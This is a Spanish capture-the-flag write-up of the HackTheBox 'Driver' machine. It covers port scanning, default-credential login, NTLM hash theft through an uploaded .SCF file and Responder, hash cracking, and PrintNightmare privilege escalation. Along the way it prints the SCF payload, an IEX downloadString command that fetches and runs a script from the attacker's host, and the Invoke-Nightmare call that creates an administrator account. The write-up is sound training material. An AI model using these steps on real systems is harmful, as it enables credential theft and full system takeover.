HackTheBox - Driver
Creado
Máquina Windows nivel fácil. Jugaremos mucho con impresoras, archivos .SCF
y pesadillas.
TL;DR (Spanish writeup)
Creada por: MrR3boot.
Imprimamos la vida (:
Empezaremos con un servidor web alojando un apartado para subir archivos, esos archivos sirven para actualizar el firmware de unas impresoras… Así mismo son ejecutados por un equipo de testing, aprovecharemos ese feature para mediante objetos .SCF
robar un hash de autenticación de uno de los usuarios del equipo de testing, lo crackearemos y finalmente mediante evil-winrm
obtendremos una PowerShell como el usuario tony
.
Jugaremos y jugaremos con impresoras y posibles exploits, llegaremos al lindo y conocido PrintNightmare
, lo usaremos para crearnos un usuario llamado lanz
que esté en el grupo Administrators y también con evil-winrm
generaremos una sesión en el sistema.
…
Clasificación de la máquina según la gentesita
Con vulnerabilidades conocidas y públicas, por lo tanto, la máquina “intenta” jugar con la realidad.
La idea inicial de esta locura es tener mis “notas” por si algún día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgió con el tiempo, ya que me di cuenta de que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por qué no hacerlo? … Un detalle es que si ves mucho texto, es porque me gusta mostrar tanto errores como éxitos y también plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!
…
El viento suena.
…
Reconocimiento #
Enumeración de puertos con nmap 📌
Como paso inicial necesitamos conocer por donde empezar a interactuar con la máquina, así que haremos un escaneo de puertos (servicios activos) para desde ahí empezar a jugar e investigar, usaremos nmap
para ello:
❱ nmap -p- --open -v 10.10.11.106 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Ese escaneo nos muestra:
❱ cat initScan
# Nmap 7.80 scan initiated Tue Oct 26 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.11.106
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.106 () Status: Up
Host: 10.10.11.106 () Ports: 80/open/tcp//http///, 135/open/tcp//msrpc///, 445/open/tcp//microsoft-ds/// Ignored State: filtered (65532)
# Nmap done at Tue Oct 26 25:25:25 2021 -- 1 IP address (1 host up) scanned in 303.69 seconds
Tenemos:
Puerto | Descripción |
---|---|
80 | HTTP: Tenemos un servidor web. |
135 | MSRPC: Permite la comunicación entre programas de distintos computadores sin necesidad de conocerse. |
445 | SMB: Este puerto permite el intercambio de recursos en una red de manera local. |
Listos, ya podríamos empezar a jugar, peeeero antes profundicemos un poquito más, hagamos un escaneo que extraiga (o lo intente) las versiones y scripts (pequeñas porciones de código del propio nmap
para probar contra X servicios) que puedan estar relacionados con cada puerto (servicio), así tenemos más detalle de cada uno:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.11.106
[*] Open ports: 80,135,445
[*] Ports copied to clipboard
)~
❱ nmap -p 80,135,445 -sC -sV 10.10.11.106 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y acá obtenemos:
❱ cat portScan
# Nmap 7.80 scan initiated Tue Oct 26 25:25:25 2021 as: nmap -p 80,135,445 -sC -sV -oN portScan 10.10.11.106
Nmap scan report for 10.10.11.106
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-27T00:57:07
|_ start_date: 2021-10-26T23:48:52
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 26 25:25:25 2021 -- 1 IP address (1 host up) scanned in 49.16 seconds
Contamos con algunas cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
80 | HTTP | Microsoft IIS httpd 10.0 |
-
Hay una línea llamativa:
MFP Firmware Update Center. Please enter password for admin
.Buscando rápidamente en internet sobre MFP tenemos una impresora :O
Puerto | Servicio | Versión |
---|---|---|
445 | SMB | Microsoft Windows 7 - 10 |
Por ahora no vemos nada más así medio relevante, así que empecemos a explorar.
Enumeración #
Recorremos el contenido del puerto 80 📌
Vemos lo que se referenciaba en el escaneo de nmap
, un login-panel y el texto relacionado con MFP (Multi Functional Printers)…
Jugando con credenciales por default para pasar el login, logramos autenticarnos usando admin:admin
(: Y nos redirige a:
Nos indica que juegan mucho con los MFP testeando tanto firmware (software/hardware que controla partes lógicas de un dispositivo) como drivers (enlace de un dispositivo al sistema operativo) en ellos…
Tenemos un menú, de las opciones la única que contiene info es Firmware Updates
y nos redirecciona a:
http://10.10.11.106/fw_up.php
Tenemos la posibilidad de subir un archivo que actualice el firmware de X modelo de impresora, estos updates serán revisados por el equipo de testing y, por lo tanto, después ejecutados (pues para validar que realmente se efectúa el update en el printer)…
Esto es interesante porque inmediatamente pensamos que debemos/podemos subir un update malicioso, así el equipo de testing lo ejecutara y por consiguiente ejecutara su contenido maligno ¿no? Pues a buscaaaaaaaaaaaaar…
Probando y probando maneras no logramos que ejecute algún objeto subido. Pensamos en un payload (.exe
) generado ya sea con msfvenom
o de un objeto .c
, pero naaaaaada, el proceso de Update no lo ejecuta :(
Explotación #
Después de un tiempo super perdido empece a irme por las variantes, empezar a probar ataques relacionados con los otros puertos abiertos, por ejemplo contra el servicio SMB
. Me enfoqué en este gracias a la descripción que teníamos en la página donde se subían los updates:
🤝 Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.
Habla de una carpeta compartida, con SMB compartimos por lo general carpetas, debe ser una pista :P
Buscando y jugando llegamos a un ataque llamado SCF Attack
:
Básicamente, este tipo de ataque se aprovecha de la interacción tanto del usuario como del atacante ante un directorio compartido y con permisos de escritura, lo que permite es que podemos alojar un objeto .SCF
con el que la víctima juega, nuestra misión será indicarle a ese objeto .SCF
que cuando alguien juegue con él nos devuelva el hash de autenticación de ese usuario a una carpeta compartida que tendremos (SMB Relay, si la contraseña asociada a ese servicio no es robusta lograremos mediante cracking romper el hash y obtener la password en texto planooooooooooooo asociada al hash (:
🔨 SCF
stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. You Can Steal Windows Login Credentials via Google Chrome and SCF Files
Así que simplemente debemos levantar un servidor que simule una carpeta compartida, en el objeto .SCF
indicarle esa carpeta de nuestro servidor yyyyyy si todo va bien, la interacción que hace el equipo de testing contra nuestro objeto nos enviara el hash de autenticación de X usuario a nuestro servidor (:
Usaremos responder para levantar el servidor compartido. Clonamos y ejecutamos responder.py
:
❱ responder.py -I tun0
El tun0
es la interfaz donde esta sirviendo la VPN de HackTheBox, o sea que estaríamos levantando un servidor contra la IP 10.10.14.121
:
❱ responder.py -I tun0
...
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.121]
Challenge set [random]
Don't Respond To Names ['ISATAP']
...
Ahora, generamos el objeto .SCF
(guiados por los dos recursos listados previamente):
❱ cat hola.scf
[Shell]
Command=2
IconFile=\\10.10.14.121\hola
[Taskbar]
Command=ToggleDesktop
Ahí vemos la referencia hacia nuestro servidor y una carpeta llamada hola
que claramente no existe y que no es necesario que exista, PEEERO sí que esté ahí en la definición. Subimos el objeto mediante la web al apartado de firmwares yyyyyy en nuestro servidooooooooooooooooor:
PEEEERFECTOooOOOo, vemos que el usuario tony
es el que esta probando los updates, lo que significa que ejecuto nuestro objeto .SCF
y, por lo tanto, envió su hash NTLMv2 a nuestro servidor, ya que intento “autenticarse” contra él.
Ahora que tenemos el hash (tómalo completo, desde tony hasta los 000 y guárdalo en un archivo), intentemos crackearlo, usaré JohnTheRipper
:
Esto lo que hará será tomar una wordlist lleeeeeena de palabras, pasarlas a hash y compararlas con el nuestro, si alguno hace match sabremos que esa palabra es la contraseña en texto plano (:
❱ john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 tony.ntlmv2
Listooones, nos devuelve una contraseña, si recordamos el único servicio que tenemos para probar credenciales es SMB
, así que juguemos con smbmap
(por ejemplo) para validarlas:
❱ smbmap -H 10.10.11.106 -u 'tony' -p 'liltony'
[+] IP: 10.10.11.106:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Y sí, son funcionales, solo que de las carpetas a las que tenemos acceso no hay anda útil en ella :/
Acá pensé (por experiencia en previas máquinas (sin ella hubiera hecho de nuevo el escaneo)) que quizás nmap
no nos reportó un puerto común en estos casos (el de tener credenciales), el servicio WinRM
por lo general activo sobre el puerto 5985
, él (entre varias cosas) permite la ejecución de tareas administrativas. Existe una herramienta llamada evil-winrm que se aprovecha de este servicio para ejecutar una PowerShell con X credenciales u otras opciones…
Sabiendo esto hagamos un escaneo específico a ver si es que ese puerto no fue descubierto inicialmente:
❱ nmap -p 5985 -sC -sV -v 10.10.11.106
...
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Y pos sí, no había sido descubierto, juguemos con evil-winrm
a ver si logramos una PowerShell:
❱ evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
Tamos dentrooooooOOOOOOOooo!!! Tenemos una PowerShell como el usuario tony
en el sistema (: Así que hay que hacer varias veces los escaneos, nunca se sabe cuando nos dejamos puertos por ahí perdidos.
Escalada de privilegios #
En nuestra enumeración inicial contra el servidor web encontramos un nombre llamativo a una de las imágenes, pero que había descartado por algo que ya veremos:
Podríamos pensar que quizás la impresora sea marca Ricoh, no perdemos mucho al buscar en internet cositas sobre eso…
Es una empresa que entre otras cosas, vende impresoras (: Pues profundizando un poquito más con algo como ricoh exploit
llegamos a varios recursos un poco recientes:
- Ricoh Driver Privilege Escalation.
- Ricoh Printer Exploit (Priv Esc To Local System).
- Local Privilege Escalation in many Ricoh Printer Drivers for Windows (CVE-2019-19363).
Si se dan cuenta es una vulnerabilidad que permite escalar privilegios, por esa misma razón lo había descartado en la enumeración inicial y dejado para este apartado (:
A pesar de probar y probar con el CVE CVE-2019-19363 y sus exploits relacionados no logramos nada funcional… Resulta que para lograr la correcta explotación necesitamos permisos que nos permitan añadir nuevos -printers- en el sistema, ya que entre ese proceso sucede toda la magia y pues al parecer no los tenemos ):
Acá estuve un buen rato medio confundido, explorando y explorando a ver que más podríamos hacer, finalmente recordé y relacione la palabra printers con una vuln que salió hace “poco”, la dichosa PrintNightmare (CVE-2021-1675)…
Esta vuln permite escalar privilegios y también ejecutar comandos remotamente, todo mediante la explotación de una Print Spooler y la opción que tiene un usuario con bajos privilegios de añadir una impresora y distintos drivers a ella. El juego sucio llega cuando tenemos las credenciales de dicho usuario, ya que el sistema las validara, nos autenticara, intentará añadir tanto la impresora como los drivers asociados yyyyyyyyyy para finalizar el proceso correctamente nos otorga permisos administrativos (SYSTEM) 😮 (si en todo ese proceso tenemos permisos como SYSTEM ya puedes imaginar la de cosas que pueden pasar…) Esto según 0xdf y su investigación y brutal artículo sobre la vuln.
Les dejo recursos y pruebas de concepto (PoC) de los que nos apoyaremos para las pruebas:
- Playing with PrintNightmare.
- PrintNightmare (CVE-2021-1675) PoC exploit Walkthrough.
- PrintNightmare: Validación de algunas Pruebas de Concepto (PoC).
Y en el que después de probar toooodo lo anterior sin éxito, logramos algo distinto:
✌️ Él se encarga de en tooooda la explotación generar un nuevo usuario (se lo podemos indicar) y agregarlo al grupo administrators
, esto para mediante (en nuestro caso) evil-winrm obtener una PowerShell
pero ahora como ese usuario (:
Nos clonamos el repositorio y tendríamos el archivo .ps1
(script de PowerShell):
❱ git clone https://github.com/calebstewart/CVE-2021-1675
❱ cd CVE-2021-1675/
❱ ls
CVE-2021-1675.ps1 nightmare-dll README.md
Ahora necesitamos transferirlo a la máquina víctima, hay varias formas (muuuchas), usaremos esta:
-
Levantamos servidor web en donde tenemos el objeto
.ps1
.❱ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Ya estamos sirviendo un servidor web sobre el puerto 8000.
-
Desde la máquina víctima descargamos el objeto servido en el puerto 8000.
*Evil-WinRM* PS C:\> cd c:\Users\tony\Videos *Evil-WinRM* PS C:\Users\tony\Videos> IWR -uri http://10.10.14.6:8000/CVE-2021-1675.ps1 -OutFile night.ps1
Lo guardamos como
night.ps1
en nuestro directorio de trabajo, en mi casoc:\Users\tony\Videos\
(:Y listoooo, ahora a explotar estoooooooooooooooooooooooooo…
Lo siguiente únicamente es decirle al sistema que tome el script, lo lea, tome las funciones y su contenido y lo “importe”, esto para simplemente llamar a la función que genera la explotación y eso, generar la explotación :P
*Evil-WinRM* PS C:\Users\tony\Videos> Import-Module .\night.ps1
No tenemos la posibilidad de ejecutar scripts… PEEEEEEEEEERO, hay una manera que podemos probar, se basa en invocar una “string” como una expresión, lo que quiere decir que tomara la cadena de texto como código y lo interpretara, básicamente evitamos importar el módulo y lo hace de una vez, podríamos intentarlo a ver…
Su uso para que tome un objeto online y lo interprete sería así:
powershell IEX(New-Object Net.WebClient).downloadString('http://rhost:rport/file')
Dándole nuestros datos quedaría:
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6:8000/CVE-2021-1675.ps1')
La ejecutamos (como estamos en una PowerShell no es necesario ponerlo de nuevo) yyyyyy no vemos ningún error:
Pues ahora si llamemos a la función que vulnera el sistema y démosle los parámetros que necesita a ver si sirve:
Invoke-Nightmare -NewUser "lanz" -NewPassword "lanz321!@" -DriverName "HolaMiRey"
Recuerda, el
Invoke-Nightmare
es el nombre de la función… ¿Cómo lo confirmamos sin guiarnos por los PoC? Entras al script y ahí verás que ella es la que engloba tooodo lo que genera la explotación, por lo tanto, es necesario llamarla a ella (:
Ejecutamos la línea yyyyyyyyyyy:
OJOOOOOO, al parecer se nos creó el usuario, si queremos validarlo internamente podemos listar toooodos los usuarios del sistema:
PERFECTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO, validemos con evil-winrm
:
Y si validamos nuestros grupoooooooos:
Tamos en el grupo Administrator, por lo tantoooooooooooooo deberíamos poder ver el contenido del usuario Administrador, checkcheckcheckkkkkK:
Y SÍÍÍÍÍÍÍ, tenemos acceso a todo lo relacionado con el usuario Administrator, por lo tanto, somos administradoreeeeeeeeeeeeeeeeeeeeeeeeeeees (:
Si queiren pueden convertirse realmente en el usuario administartor jugando con los hashes NTLM, pero ya les queda de tarea…
Veamos las flags:
…
Linda linda máquina, una exploración fuerte contra impresoras y lo mejor para el final, tocamos la locura llamada PrintNightmare y vimos cuan peligrosa puede ser (:
Como siempre, muchas gracias por todo y como nunca: A SEGUIR ROMPIENDO TODOOOOOOOOOOOOOOOOOOOO!!!
Comments